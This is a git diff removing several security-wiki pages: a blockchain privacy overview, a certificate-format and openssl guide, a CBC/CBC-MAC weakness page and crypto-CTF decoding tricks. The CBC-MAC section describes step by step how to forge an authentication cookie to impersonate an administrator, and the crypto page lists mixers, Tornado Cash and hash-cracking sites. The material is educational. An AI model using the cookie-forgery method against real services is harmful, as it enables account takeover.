-- **Case Modification:** Apply some changes to a list of strings(No change, to lower, to UPPER, to Proper name - First capitalized and the rest to lower-, to Proper Name -First capitalized an the rest remains the same-.
-- **Numbers:** Generate numbers from X to Y using Z step or randomly.
-- **Brute Forcer:** Character set, min & max length.
-
-[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload to execute commands and grab the output via DNS requests to burpcollab.
-
-{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
-
-[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
-
-{{#include ./banners/hacktricks-training.md}}
-
diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md
deleted file mode 100644
index 71b79f58fdc..00000000000
--- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md
+++ /dev/null
@@ -1,186 +0,0 @@
-{{#include ../banners/hacktricks-training.md}}
-
-## Basic Concepts
-
-- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
-- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
-- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
-- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
-- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
-
-## Consensus Mechanisms
-
-Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
-
-- **Proof of Work (PoW)** relies on computational power for transaction verification.
-- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
-
-## Bitcoin Essentials
-
-### Transactions
-
-Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
-
-#### Key Components:
-
-- **Multisignature Transactions** require multiple signatures to authorize a transaction.
-- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
-
-### Lightning Network
-
-Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
-
-## Bitcoin Privacy Concerns
-
-Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
-
-## Acquiring Bitcoins Anonymously
-
-Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
-
-# Bitcoin Privacy Atacks
-
-# Summary of Bitcoin Privacy Attacks
-
-In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
-
-## **Common Input Ownership Assumption**
-
-It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
-
-## **UTXO Change Address Detection**
-
-A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
-
-### Example
-
-To mitigate this, mixing services or using multiple addresses can help obscure ownership.
-
-## **Social Networks & Forums Exposure**
-
-Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
-
-## **Transaction Graph Analysis**
-
-Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
-
-## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
-
-This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
-
-### Example
-
-```bash
-2 btc --> 4 btc
-3 btc 1 btc
-```
-
-If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
-
-## **Forced Address Reuse**
-
-Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
-
-### Correct Wallet Behavior
-
-Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
-
-## **Other Blockchain Analysis Techniques**
-
-- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
-- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
-- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
-- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
-
-## **Traffic Analysis**
-
-By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
-
-## More
-
-For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
-
-# Anonymous Bitcoin Transactions
-
-## Ways to Get Bitcoins Anonymously
-
-- **Cash Transactions**: Acquiring bitcoin through cash.
-- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
-- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
-- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
-
-## Mixing Services
-
-By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
-
-## CoinJoin
-
-**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
-
-Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
-
-For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
-
-## PayJoin
-
-A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
-
-```plaintext
-2 btc --> 3 btc
-5 btc 4 btc
-```
-
-Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
-
-**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
-
-# Best Practices for Privacy in Cryptocurrencies
-
-## **Wallet Synchronization Techniques**
-
-To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
-
-- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
-- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
-
-## **Utilizing Tor for Anonymity**
-
-Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
-
-## **Preventing Address Reuse**
-
-To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
-
-## **Strategies for Transaction Privacy**
-
-- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
-- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
-- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
-
-# **Monero: A Beacon of Anonymity**
-
-Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
-
-# **Ethereum: Gas and Transactions**
-
-## **Understanding Gas**
-
-Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
-
-## **Executing Transactions**
-
-Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
-
-These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
-
-## References
-
-- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
-- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
-- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
-- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
-- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
-- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/certificates.md b/src/crypto-and-stego/certificates.md
deleted file mode 100644
index d0c4ad006f8..00000000000
--- a/src/crypto-and-stego/certificates.md
+++ /dev/null
@@ -1,222 +0,0 @@
-# Certificates
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
-
-## What is a Certificate
-
-A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
-
-Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
-
-## x509 Common Fields
-
-### **Common Fields in x509 Certificates**
-
-In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
-
-- **Version Number** signifies the x509 format's version.
-- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
-- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- - **Common Name (CN)**: Domains covered by the certificate.
- - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- - **Distinguished Name (DN)** encapsulates the full subject identification.
-- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
-- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
-- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
-- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
-
-#### **Key Usage and Extensions**
-
-- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
-- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
-- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
-- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
-- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
-- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
-
-```python
-# Example of accessing and using x509 certificate fields programmatically:
-from cryptography import x509
-from cryptography.hazmat.backends import default_backend
-
-# Load an x509 certificate (assuming cert.pem is a certificate file)
-with open("cert.pem", "rb") as file:
- cert_data = file.read()
- certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
-
-# Accessing fields
-serial_number = certificate.serial_number
-issuer = certificate.issuer
-subject = certificate.subject
-public_key = certificate.public_key()
-
-print(f"Serial Number: {serial_number}")
-print(f"Issuer: {issuer}")
-print(f"Subject: {subject}")
-print(f"Public Key: {public_key}")
-```
-
-### **Difference between OCSP and CRL Distribution Points**
-
-**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
-
-### **What is Certificate Transparency**
-
-Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
-
-- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
-- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
-- Safeguarding users against fraudulent certificates.
-
-#### **Certificate Logs**
-
-Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
-
-#### **Query**
-
-To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
-
-Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
-
-## **Formats**
-
-### **PEM Format**
-
-- Most widely used format for certificates.
-- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
-- Common extensions: .cer, .crt, .pem, .key.
-- Primarily used by Apache and similar servers.
-
-### **DER Format**
-
-- A binary format of certificates.
-- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
-- Common extensions: .cer, .der.
-- Often used with Java platforms.
-
-### **P7B/PKCS#7 Format**
-
-- Stored in Base64 ASCII, with extensions .p7b or .p7c.
-- Contains only certificates and chain certificates, excluding the private key.
-- Supported by Microsoft Windows and Java Tomcat.
-
-### **PFX/P12/PKCS#12 Format**
-
-- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
-- Extensions: .pfx, .p12.
-- Mainly used on Windows for certificate import and export.
-
-### **Converting Formats**
-
-**PEM conversions** are essential for compatibility:
-
-- **x509 to PEM**
-
-```bash
-openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
-```
-
-- **PEM to DER**
-
-```bash
-openssl x509 -outform der -in certificatename.pem -out certificatename.der
-```
-
-- **DER to PEM**
-
-```bash
-openssl x509 -inform der -in certificatename.der -out certificatename.pem
-```
-
-- **PEM to P7B**
-
-```bash
-openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
-```
-
-- **PKCS7 to PEM**
-
-```bash
-openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
-```
-
-**PFX conversions** are crucial for managing certificates on Windows:
-
-- **PFX to PEM**
-
-```bash
-openssl pkcs12 -in certificatename.pfx -out certificatename.pem
-```
-
-- **PFX to PKCS#8** involves two steps:
- 1. Convert PFX to PEM
-
-```bash
-openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
-```
-
-2. Convert PEM to PKCS8
-
-```bash
-openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
-```
-
-- **P7B to PFX** also requires two commands:
- 1. Convert P7B to CER
-
-```bash
-openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
-```
-
-2. Convert CER and Private Key to PFX
-
-```bash
-openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
-```
-
-- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure):
- 1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
-
-```bash
-git clone https://github.com/wllm-rbnt/asn1template.git
-```
-
-2. Convert DER/PEM to OpenSSL's generation format
-
-```bash
-asn1template/asn1template.pl certificatename.der > certificatename.tpl
-asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl
-```
-
-3. Edit certificatename.tpl according to your requirements
-
-```bash
-vim certificatename.tpl
-```
-
-4. Rebuild the modified certificate
-
-```bash
-openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der
-openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem
-```
-
----
-
-
-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
deleted file mode 100644
index 47f1b2713d4..00000000000
--- a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
+++ /dev/null
@@ -1,55 +0,0 @@
-{{#include ../banners/hacktricks-training.md}}
-
-# CBC
-
-If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
-
-# CBC-MAC
-
-**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
-
-To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks using a secret key k and a block cipher E:
-
-![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]()
-
-# Vulnerability
-
-With CBC-MAC usually the **IV used is 0**.\
-This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
-
-- `E(m1 XOR 0) = s1`
-- `E(m2 XOR 0) = s2`
-
-Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
-
-- `E(m1 XOR 0) = s31 = s1`
-- `E(m2 XOR s1) = s32`
-
-**Which is possible to calculate without knowing the key of the encryption.**
-
-Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
-
-- `Administ`
-- `rator\00\00\00`
-
-You can create a username called **Administ** (m1) and retrieve the signature (s1).\
-Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
-now, you can use s32 as the signature of the full name **Administrator**.
-
-### Summary
-
-1. Get the signature of username **Administ** (m1) which is s1
-2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
-3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
-
-# Attack Controlling IV
-
-If you can control the used IV the attack could be very easy.\
-If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
-Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
-
-## References
-
-More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md
deleted file mode 100644
index bb2b5f04935..00000000000
--- a/src/crypto-and-stego/crypto-ctfs-tricks.md
+++ /dev/null
@@ -1,301 +0,0 @@
-# Crypto CTFs Tricks
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Online Hashes DBs
-
-- _**Google it**_
-- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
-- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
-- [https://crackstation.net/](https://crackstation.net)
-- [https://md5decrypt.net/](https://md5decrypt.net)
-- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
-- [https://gpuhash.me/](https://gpuhash.me)
-- [https://hashes.org/search.php](https://hashes.org/search.php)
-- [https://www.cmd5.org/](https://www.cmd5.org)
-- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
-- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
-
-## Magic Autosolvers
-
-- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
-- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
-- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
-- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
-
-## Encoders
-
-Most of encoded data can be decoded with these 2 ressources:
-
-- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
-- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
-
-### Substitution Autosolvers
-
-- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
-- [https://quipqiup.com/](https://quipqiup.com) - Very good !
-
-#### Caesar - ROTx Autosolvers
-
-- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
-
-#### Atbash Cipher
-
-- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
-
-### Base Encodings Autosolver
-
-Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
-
-- **Ascii85**
- - `BQ%]q@psCd@rH0l`
-- **Base26** \[_A-Z_]
- - `BQEKGAHRJKHQMVZGKUXNT`
-- **Base32** \[_A-Z2-7=_]
- - `NBXWYYLDMFZGCY3PNRQQ====`
-- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- - `pbzsaamdcf3gna5xptoo====`
-- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- - `e1rqssc3d5t62svgejhh====`
-- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- - `D1QPRRB3C5S62RVFDHGG====`
-- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- - `D1NMOOB3C5P62ORFDHGG====`
-- **Base45** \[_0-9A-Z $%\*+-./:_]
- - `59DPVDGPCVKEUPCPVD`
-- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- - `2yJiRg5BF9gmsU6AC`
-- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- - `2YiHqF5bf9FLSt6ac`
-- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- - `pyJ5RgnBE9gm17awU`
-- **Base62** \[_0-9A-Za-z_]
- - `g2AextRZpBKRBzQ9`
-- **Base64** \[_A-Za-z0-9+/=_]
- - `aG9sYWNhcmFjb2xh`
-- **Base67** \[_A-Za-z0-9-_.!\~\_]
- - `NI9JKX0cSUdqhr!p`
-- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- - `BQ%]q@psCd@rH0l`
-- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- - `<~BQ%]q@psCd@rH0l~>`
-- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- - `Xm4y`V\_|Y(V{dF>\`
-- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
-- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- - `Xm4y|V{~Y+V}dF?`
-- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- - `frDg[*jNN!7&BQM`
-- **Base100** \[]
- - `👟👦👣👘👚👘👩👘👚👦👣👘`
-- **Base122** \[]
- - `4F ˂r0Xmvc`
-- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- - `MIc3KiXa+Ihz+lrXMIc3KbCC`
-- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- - `DmPsv8J7qrlKEoY7`
-- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- - `kLD8iwKsigSalLJ5`
-- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- - `ayRiIo1gpO+uUc7g`
-- **ESAB46** \[]
- - `3sHcL2NR8WrT7mhR`
-- **MEGAN45** \[]
- - `kLD8igSXm2KZlwrX`
-- **TIGO3FX** \[]
- - `7AP9mIzdmltYmIP9mWXX`
-- **TRIPO5** \[]
- - `UE9vSbnBW6psVzxB`
-- **FERON74** \[]
- - `PbGkNudxCzaKBm0x`
-- **GILA7** \[]
- - `D+nkv8C1qIKMErY1`
-- **Citrix CTX1** \[]
- - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
-
-[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
-
-### HackerizeXS \[_╫Λ↻├☰┏_]
-
-```
-╫☐↑Λ↻Λ┏Λ↻☐↑Λ
-```
-
-- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
-
-### Morse
-
-```
-.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
-```
-
-- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
-
-### UUencoder
-
-```
-begin 644 webutils_pl
-M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
-M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
-F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
-`
-end
-```
-
-- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
-
-### XXEncoder
-
-```
-begin 644 webutils_pl
-hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
-5Hol-G2xAEE++
-end
-```
-
-- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
-
-### YEncoder
-
-```
-=ybegin line=128 size=28 name=webutils_pl
-ryvkryvkryvkryvkryvkryvkryvk
-=yend size=28 crc32=35834c86
-```
-
-- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
-
-### BinHex
-
-```
-(This file must be converted with BinHex 4.0)
-:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
--38K26%'d9J!!:
-```
-
-- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
-
-### ASCII85
-
-```
-<~85DoF85DoF85DoF85DoF85DoF85DoF~>
-```
-
-- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
-
-### Dvorak keyboard
-
-```
-drnajapajrna
-```
-
-- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
-
-### A1Z26
-
-Letters to their numerical value
-
-```
-8 15 12 1 3 1 18 1 3 15 12 1
-```
-
-### Affine Cipher Encode
-
